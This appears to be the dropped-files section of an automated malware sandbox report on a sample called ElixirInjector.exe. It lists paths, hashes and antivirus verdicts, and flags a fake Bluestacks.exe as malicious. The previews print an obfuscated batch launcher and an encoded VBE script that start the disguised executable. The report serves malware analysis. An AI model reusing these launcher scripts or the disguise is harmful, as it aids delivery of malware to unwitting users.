                                                                                            Category:dropped
                                                                                            Size (bytes):597
                                                                                            Entropy (8bit):5.874307025143204
                                                                                            Encrypted:false
                                                                                            SSDEEP:12:ZH8Mz/0nSamsUAYtBZoNiCeX+r6KEflMhp4TphGDTvm5HIBQWfm:ZcXdUNt/8iRX+eKRgbIB1m
                                                                                            MD5:3EDB09CC8FDA7077FE2E8CA07BC3FD2B
                                                                                            SHA1:D9479C0AA8E109F1DD8A20E8561470CECC7F3C11
                                                                                            SHA-256:A97A2ECCE3E96328F2D604A317C8BD8740212B34FB5921179DA3D748C000AD44
                                                                                            SHA-512:CD7ECD2652B35F1D0589BCDC58DE58DDAEC3D2EDBEA23CDE84D9EF2C4DC95AFF569CA45A0E1AFA34F9A0824FD99F7A87B58CBDC47F5864C66FF87E7151A3D4E0
                                                                                            Malicious:false
                                                                                            Preview:KEWg3WB0i4q3wTgYPSG9NcxFz09eDb1GHCO10UEJWlPXV0xlyEfv8AXsQQqCXgxHDkvuFph4O6mmNau9DXp85GHGpfkjnBwzxHUuEDfJgkgCYvf0gr991yL6dpFjE8QMKxyFG95A1gcVkFs3AtC6Cw886XRZ76EhTT1k6auhv8HVWzWX6LjU6TKXyzIsrgC5b4BQNH7k9eLDonmHB3cwWtl9JdwHRC0P6L3cyFJzO9VbIGtLNBqxDPjrSBGtVzS7o5HctJS5tmiXYK1Cuk4QWCMqmLKw9ZdYrYxN9QbDsuEarMSIKE9v5Clmsbzh9g6TJKpAWnCeI0hl8v9a2Bm4asdpwKeia4EMxuRggSvgBemEe9o7bZo73B3arANMIeDOwVyNdc4kQF35GYKxghGBPGSv11zfEjYgbYSJKad9eEryI7US0aplYC9pCCWmmZgrrWerFBmFDGgLZdn3ggpo3wIYZnGID1WFhAHvcmNyxjiRgyPiZcFFt1x4OGSc5eCLtanZW2b4T01TN11lXhtlvRVpMMhWTu3ShWhFK0MgBLw3AeqWOrFYvaacF7NJUFkj7iv1TwahUMjkecpsfKHlp

                                                                                            C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exe

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):150484992
                                                                                            Entropy (8bit):0.19755066131239787
                                                                                            Encrypted:false
                                                                                            SSDEEP:49152:jjCl2oCZas6DG1pHbi/cGHueSAZR8SH2asUTnr:jjPb3SIexlH2a
                                                                                            MD5:E18151C31580AA91CEB01099DE4277B2
                                                                                            SHA1:979C02265019C77ADA5578B1CFC1A98A65F5F095
                                                                                            SHA-256:2A01AA8E358B9A949A198CA22EA8FA189990D3004467E600136142D7D97E3D08
                                                                                            SHA-512:C7CEAE4B46C186C8F36ACA7B6334E116BD42E9A164CCF382F4F29298CAC4790BA1BEA7E90DDB738A6DE925890202BFE65D606A83C9C13665701CA9C712DC915A
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                            • Antivirus: Virustotal, Detection: 59%, Browse
                                                                                            • Antivirus: ReversingLabs, Detection: 58%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f.................$ ..........B .. ...` ...@.. ........................ ...........@..................................B .K....` . ..................... ...................................................... ............... ..H............text...." .. ...$ ................. ..`.rsrc... ....` ......& .............@....reloc........ ......* .............@..B.................B .....H.......T...................S...B ......................................0..........(.... ........8........E............*...N...8....*(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0..Q....... ........8........E....)...........r.......M.......8$...8.... ....~....{}...:....& ....8....8.... ....~....{o...9....& ....8.......... ....~....{k...:x...& ....8m...~....(_... .... .... ....s....~....(c....... ....~....{p...:-...& ....8"...

                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Bluestacks.exe.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:CSV text
                                                                                            Category:dropped
                                                                                            Size (bytes):847
                                                                                            Entropy (8bit):5.354334472896228
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                                            SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                                            SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                                            SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                                            Malicious:false
                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cmd.exe.log

                                                                                            Download File
                                                                                            Process:C:\Windows\ShellComponents\cmd.exe
                                                                                            File Type:CSV text
                                                                                            Category:dropped
                                                                                            Size (bytes):847
                                                                                            Entropy (8bit):5.354334472896228
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                                            SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                                            SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                                            SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                                            Malicious:false
                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fontdrvhost.exe.log

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe
                                                                                            File Type:CSV text
                                                                                            Category:dropped
                                                                                            Size (bytes):847
                                                                                            Entropy (8bit):5.354334472896228
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                                            SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                                            SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                                            SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                                            Malicious:false
                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fvXBwqYdGYPkplbuTcoXecCdP.exe.log

                                                                                            Download File
                                                                                            Process:C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe
                                                                                            File Type:CSV text
                                                                                            Category:dropped
                                                                                            Size (bytes):847
                                                                                            Entropy (8bit):5.354334472896228
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                                            SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                                            SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                                            SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                                            Malicious:false
                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):19253
                                                                                            Entropy (8bit):5.006124400658085
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:3FD7630E6C29B02E0FFA6A1D3FB54564
                                                                                            SHA1:CA880B8896A98A6A2A46FB65611E07B78C4107AC
                                                                                            SHA-256:E5619477716ECB045FE2484E4C7318B58522BABF1CC931C6EA50603499400625
                                                                                            SHA-512:AA7E5DA85CC85499B0B8149D3BE9BDB767C606BCBFE54EF549B8DA65D1591A1E8014E5F1B43E281A8957DAA7BD0C68B66903FCB56E734A745981D623B2570D48
                                                                                            Malicious:false
                                                                                            Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:data
                                                                                            Category:modified
                                                                                            Size (bytes):64
                                                                                            Entropy (8bit):1.1940658735648508
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:013016A37665E1E37F0A3576A8EC8324
                                                                                            SHA1:260F55EC88E3C4D384658F3C18C7FDEF202E47DD
                                                                                            SHA-256:20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
                                                                                            SHA-512:99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
                                                                                            Malicious:false
                                                                                            Preview:@...e................................................@..........

                                                                                            C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\6iq5IFzZA9EyHTwKHM8vXk9USXtHecApoG.bat

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\ElixirInjector.exe
                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):95
                                                                                            Entropy (8bit):4.998986667097069
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:AA898D60B0BC1941439402668A8A16B3
                                                                                            SHA1:9574950945FC837FE9FF07EE3CA6C32185842E0E
                                                                                            SHA-256:046BFE53D5F3E0658D97EEADA7719219544DA9CF16508A1E85B0BFE7831388A8
                                                                                            SHA-512:5964F3294D9A7E8CCBE4D8C2C5FD66EDC5AD28BD4B5C9664C67FF74F85852AE7D3FA45F42862821F91E94F4CE03C248A858B0E8A4026EF66CDCE72C96159A2FF
                                                                                            Malicious:false
                                                                                            Preview:%qBunbk%%lnKdyeXEmOuoW%..%EMlJBfW%"%Temp%\WinRAR/data/bin/unistall/Bluestacks.exe"%tUYmlUQUNYY%

                                                                                            C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\ElixirInjector.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):150484992
                                                                                            Entropy (8bit):0.19755066131239787
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E18151C31580AA91CEB01099DE4277B2
                                                                                            SHA1:979C02265019C77ADA5578B1CFC1A98A65F5F095
                                                                                            SHA-256:2A01AA8E358B9A949A198CA22EA8FA189990D3004467E600136142D7D97E3D08
                                                                                            SHA-512:C7CEAE4B46C186C8F36ACA7B6334E116BD42E9A164CCF382F4F29298CAC4790BA1BEA7E90DDB738A6DE925890202BFE65D606A83C9C13665701CA9C712DC915A
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                            • Antivirus: ReversingLabs, Detection: 58%
                                                                                            • Antivirus: Virustotal, Detection: 59%, Browse
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f.................$ ..........B .. ...` ...@.. ........................ ...........@..................................B .K....` . ..................... ...................................................... ............... ..H............text...." .. ...$ ................. ..`.rsrc... ....` ......& .............@....reloc........ ......* .............@..B.................B .....H.......T...................S...B ......................................0..........(.... ........8........E............*...N...8....*(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0..Q....... ........8........E....)...........r.......M.......8$...8.... ....~....{}...:....& ....8....8.... ....~....{o...9....& ....8.......... ....~....{k...:x...& ....8m...~....(_... .... .... ....s....~....(c....... ....~....{p...:-...& ....8"...

                                                                                            C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\QUJ9Bg46i5eTnOQKEnteAp7rp1YY9NQfmUbhx6iPrrb4U6kE.vbe

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\ElixirInjector.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):240
                                                                                            Entropy (8bit):5.834873778689293
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:86D5FA5E3228E9586230609C34CDEEC7
                                                                                            SHA1:1E27F4CF478A2BB3A99491476E74C7968B811EED
                                                                                            SHA-256:A68460A1A574480FFA92D8D4FBE8636D5A32CC3DA84936BCB3B47D829A7E588D
                                                                                            SHA-512:D4B15B180AB9887F0547193CD42F7273C82BF53F228DF74F64424ED684342BC7717669F909A7A156CC0E37A6415A12FDDEB7D27C9CC12058D93CE64E2345BC79
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                            Preview:#@~^1wAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE*@#@&.U^DbwO UV+n2v T!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~JuP.:2uzqkx"b"&NmYCz(kU&!xkkOl^VzJ.r;lqwytb13HCPhnuHR\pVOj?pO_+^baGVR8mYr~PZ~,Wl^/nckQAAA==^#~@.

                                                                                            C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\b76422b20dc1e4

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:ASCII text, with very long lines (699), with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):699
                                                                                            Entropy (8bit):5.847008415051712
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:CE02F7D090B2EFD68B8DB14861906EAD
                                                                                            SHA1:9D09B025635F08D0818A713481B38F7C1760C883
                                                                                            SHA-256:731F474C50EA368C95AEB73BDD736280F85215ECD94EFAC48D953D4B8873D408
                                                                                            SHA-512:0E43F61503C88002E118F97E080BB78AC42236E486A6D86DD9EEAAF9A0CF847E8FA5FC9C85D9A3EFC99A1BCB62764CB3D89C523A48FB62F30255B4C560DF7103
                                                                                            Malicious:false
                                                                                            Preview:LW5xHHHcv9umj80A9fM78kv3x0gBN1yJBTGW80Ek08hxDasNF29U8RskkCARlFO4KlkP2dBJamHAD80XHT6V1eKtlfw60x9vtmnbzcVm103WKrhmLmKSI3Dpb1oWqETmmWQaUZho7TeAlxi38JvNnrm0j7A7y95whQtybGRwFfUyZCEnSvYhTF95ta1XYk08YrdUDub119IHWxag2WoCkYcbRxEBO4XfpWarjujiTgpT71j59VeB5xX9PBCQqam7mnc9Xt6IxGtEtIeaOIB3ZVj29acirT123rrUYkiQYWOyETQGhmBhZthRDk96QYaeP0KBbKBnjvfCGvxqJWAFRTdKJaRykl996ujNJPoXkX8nOfKRwTx4XUM5X91A3MD8wfGWMkh3rne3Vz5oQ9CQyEllho0JYneYUA1tYxFMw3Mu0SjhEMu3KxJr3eyitXfDJGjV8MQc40d511vOFTFM3kNh0Jz49hcYXIkttNj16R9UTOzCsjcaSTKi3BfyXVdXXEhtQCf1tNQll3OmTxLZEBGE8B0rruekym6OqGvqElqFDj79x3ejJESV8cuOLxK8tpw8695NCfVdUBBYE03yQ4buTkPNVgeQasVXw9Dy7RhntzB7bWKU4VszOCpVur1fAECmpnmExF19WxBdjRw9VJWF9fJtTsDPaCnoxYSxuFhyetcbBLvc51J0s7n

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0e24qld0.xcb.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0h24ua4v.ql1.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0w4312fq.3rc.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11yir20i.std.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1kc4oxlp.4zo.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1rqprbnc.ky3.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qjuoh52.ywx.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3w5zq25i.xkx.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4oq5uqwo.moh.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uygaq0p.aqq.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
